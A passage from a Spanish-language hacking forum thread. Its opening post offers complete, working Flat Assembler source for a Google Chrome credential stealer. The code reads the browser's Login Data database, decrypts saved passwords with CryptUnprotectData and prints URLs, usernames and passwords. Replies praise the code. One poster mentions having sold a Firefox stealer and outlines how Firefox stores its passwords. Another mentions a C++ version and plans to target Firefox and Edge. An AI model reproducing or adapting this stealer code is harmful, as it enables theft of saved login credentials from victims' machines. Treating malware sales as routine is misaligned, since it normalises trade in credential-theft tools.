Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador :laugh:
Es un Stealer del navegador Google Chrome, funcional con la última versión.
(http://oi63.tinypic.com/210ceo2.jpg)
Código fuente:
; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.
format PE Console 4.0
entry start
include 'win32ax.inc'
section '.data' data readable writeable
ruta db '\Local\Google\Chrome\User Data\Default\Login Data',0
query db 'SELECT origin_url, username_value, password_value FROM logins',0
bd dd ?
stmt dd ?
URL db 'URL: %s',10,13,0
Usuario db 'Usuario: %s',10,13,0
PASS db 'PASS: %s',10,13,0
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
datain DATA_BLOB
dataout DATA_BLOB
buffer rb 255
barra db '-----------------------------------------------------',10,13,0
BufferRuta rb 512
APPDATA db 'APPDATA',0
section '.code' code readable executable
start:
invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
invoke lstrcat, BufferRuta, ruta
cinvoke sqlite3_open, BufferRuta, bd
cmp eax, 0 ; eax = SQLITE_OK
jne salir
cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
cmp eax, 0 ; eax = SQLITE_OK
jne salir
BuclePass:
cinvoke sqlite3_step, [stmt]
cmp eax, 100 ; eax = SQLITE_ROW
jne salir
cinvoke printf,barra
cinvoke sqlite3_column_text , [stmt], 0 ; URL
cinvoke printf,URL,eax
cinvoke sqlite3_column_text , [stmt], 1 ; USUARIO
cinvoke printf,Usuario,eax
cinvoke sqlite3_column_text , [stmt], 2 ; Contraseña
mov [datain.pbData], eax
mov [datain.cbData], 512
invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
mov ecx, -1
BucleNull:
mov edx, [dataout.pbData]
inc ecx
cmp byte[edx+ecx],0x08
jne BucleNull
mov byte[edx+ecx],0
cinvoke printf, PASS, [dataout.pbData]
cinvoke printf,barra
jmp BuclePass
salir:
cinvoke system,'PAUSE'
ret
section '.idata' import data readable writeable
library sqlite3, 'sqlite3.dll',\
msvcrt, 'msvcrt.dll',\
Crypt32, 'Crypt32.dll',\
KERNEL32, 'KERNEL32.DLL'
import sqlite3,\
sqlite3_open, 'sqlite3_open',\
sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
sqlite3_column_text, 'sqlite3_column_text',\
sqlite3_step, 'sqlite3_step'
import msvcrt,\
printf, 'printf',\
memcpy,'memcpy',\
system, 'system'
import Crypt32,\
CryptUnprotectData, 'CryptUnprotectData'
import KERNEL32,\
GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
lstrcat, 'lstrcatA'
saludos.
Se ve genial gracias por el aportaso voy a darle una revisda
//saludos....
Muy sexy ;) Joder que Chrome siga utilizando la API de crypto (CryptAPI) de Win32 deja mucho que desear.
Al menos para sacar las passwords de Mozilla tienes que reversear un poquito la API de NSS, cosa trivial mientras el usuario no utilice una contraseña maestra. Básicamente la password por defecto esta cifrada en TripleDES y encodeada en B64, en signons.sqlite por si te interesa, aunque ahora no usan sqlite sino .json (creo..) pues hace unos meses vendí un code que hacía de stealer para FireFox.
Son poquitas líneas, hace tiempo que perdí el stealer de Chrome en CPP (no puedo comparar) pero nada que envidiar.
Saludos.
Buenas camaradas, ¿así que tenías el stealer de firefox?, enhorabuena.
Yo tengo el de chrome también para C++, no llegan a 15 líneas de código XD.
Ahora estoy un poco desconectado del tema, pero tengo pensado hacer el de FF y EDGE, pero primero tengo que aprender mejor ingeniería inversa, más allá de tenerlo o no, quiero saber hacerlo por mi mismo a través de ingeniería inversa, eso me pondría cachondo hehehe.
Un saludo, nos vemos.